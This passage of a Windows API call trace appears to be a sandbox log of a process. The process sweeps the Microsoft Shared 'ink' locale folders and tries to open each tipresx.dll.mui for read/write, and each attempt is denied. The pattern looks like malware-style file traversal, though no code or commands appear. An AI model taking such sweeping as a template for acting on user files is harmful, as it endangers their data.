ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.796] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.796] GetProcessHeap () returned 0x2ef0000 [0168.796] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.797] GetLastError () returned 0x5 [0168.797] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.797] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.797] GetProcessHeap () returned 0x2ef0000 [0168.797] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.797] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0168.797] GetProcessHeap () returned 0x2ef0000 [0168.797] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.797] GetProcessHeap () returned 0x2ef0000 [0168.797] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.798] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.798] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.798] GetProcessHeap () returned 0x2ef0000 [0168.798] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.798] GetLastError () returned 0x5 [0168.798] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.798] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.798] GetProcessHeap () returned 0x2ef0000 [0168.798] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.798] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0168.798] GetProcessHeap () returned 0x2ef0000 [0168.798] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.799] GetProcessHeap () returned 0x2ef0000 [0168.799] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.799] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.799] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.799] GetProcessHeap () returned 0x2ef0000 [0168.799] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.799] GetLastError () returned 0x5 [0168.799] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.799] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.800] GetProcessHeap () returned 0x2ef0000 [0168.800] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.800] GetProcessHeap () returned 0x2ef0000 [0168.800] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.801] GetProcessHeap () returned 0x2ef0000 [0168.801] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.802] GetProcessHeap () returned 0x2ef0000 [0168.802] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.803] GetLastError () returned 0x5 [0168.803] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.803] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.803] GetProcessHeap () returned 0x2ef0000 [0168.803] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.803] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0168.803] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0168.803] GetProcessHeap () returned 0x2ef0000 [0168.803] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.804] GetProcessHeap () returned 0x2ef0000 [0168.804] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.804] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.804] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.804] GetProcessHeap () returned 0x2ef0000 [0168.804] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.804] GetLastError () returned 0x5 [0168.804] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.804] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.804] GetProcessHeap () returned 0x2ef0000 [0168.804] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.804] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0168.804] GetProcessHeap () returned 0x2ef0000 [0168.804] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.805] GetProcessHeap () returned 0x2ef0000 [0168.805] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.805] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.805] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.805] GetProcessHeap () returned 0x2ef0000 [0168.805] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.805] GetLastError () returned 0x5 [0168.805] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.805] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.805] GetProcessHeap () returned 0x2ef0000 [0168.805] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.805] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0168.806] GetProcessHeap () returned 0x2ef0000 [0168.806] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8c) returned 0x2f170e8 [0168.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.806] GetProcessHeap () returned 0x2ef0000 [0168.806] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.806] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.806] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.806] GetProcessHeap () returned 0x2ef0000 [0168.806] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28e) returned 0x2f3e278 [0168.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.806] GetLastError () returned 0x5 [0168.806] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.806] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.806] GetProcessHeap () returned 0x2ef0000 [0168.807] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.807] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0168.807] GetProcessHeap () returned 0x2ef0000 [0168.807] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.808] GetProcessHeap () returned 0x2ef0000 [0168.808] HeapFree (in: 